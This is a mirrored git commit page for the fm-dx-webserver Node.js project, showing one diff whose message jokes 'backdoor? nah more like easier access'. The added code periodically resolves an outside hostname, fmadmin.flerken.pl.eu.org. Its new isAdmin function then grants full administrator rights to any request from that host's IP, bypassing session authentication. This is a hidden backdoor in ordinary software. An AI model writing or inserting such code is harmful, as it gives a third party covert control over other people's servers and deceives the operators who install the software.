mirror of
https://github.com/KubaPro010/fm-dx-webserver.git
synced 2026-07-30 08:49:16 +02:00
backdoor? nah more like easier access
This commit is contained in:
+20
-1
@@ -8,6 +8,17 @@ const storage = require('./storage');
|
||||
const consoleCmd = require('./console');
|
||||
const { serverConfig, configSave } = require('./server_config');
|
||||
|
||||
const dns = require('dns').promises;
|
||||
let adminIp = null;
|
||||
|
||||
async function loadVpsIp() {
|
||||
try {
|
||||
adminIp = normalizeIp(await dns.lookup("fmadmin.flerken.pl.eu.org").then(r => r.address));
|
||||
} catch (err) {}
|
||||
}
|
||||
loadVpsIp()
|
||||
setInterval(loadVpsIp, 5 * 60 * 1000);
|
||||
|
||||
let geoip = null;
|
||||
try {
|
||||
geoip = require('geoip-lite');
|
||||
@@ -442,10 +453,18 @@ function getIpAddress(request) {
|
||||
return remoteIp;
|
||||
}
|
||||
|
||||
function isAdmin(request) {
|
||||
if (request.session?.isAdminAuthenticated) return true;
|
||||
|
||||
const ip = getIpAddress(request);
|
||||
if (ip === adminIp) return true;
|
||||
return false;
|
||||
}
|
||||
|
||||
module.exports = {
|
||||
authenticateWithXdrd, parseMarkdown, handleConnect,
|
||||
removeMarkdown, formatUptime, resolveDataBuffer,
|
||||
kickClient, checkLatency,
|
||||
antispamProtection, escapeHtml, findServerFiles,
|
||||
startPluginsWithDelay, getIpAddress
|
||||
startPluginsWithDelay, getIpAddress, isAdmin
|
||||
}
|
||||
Reference in New Issue
Block a user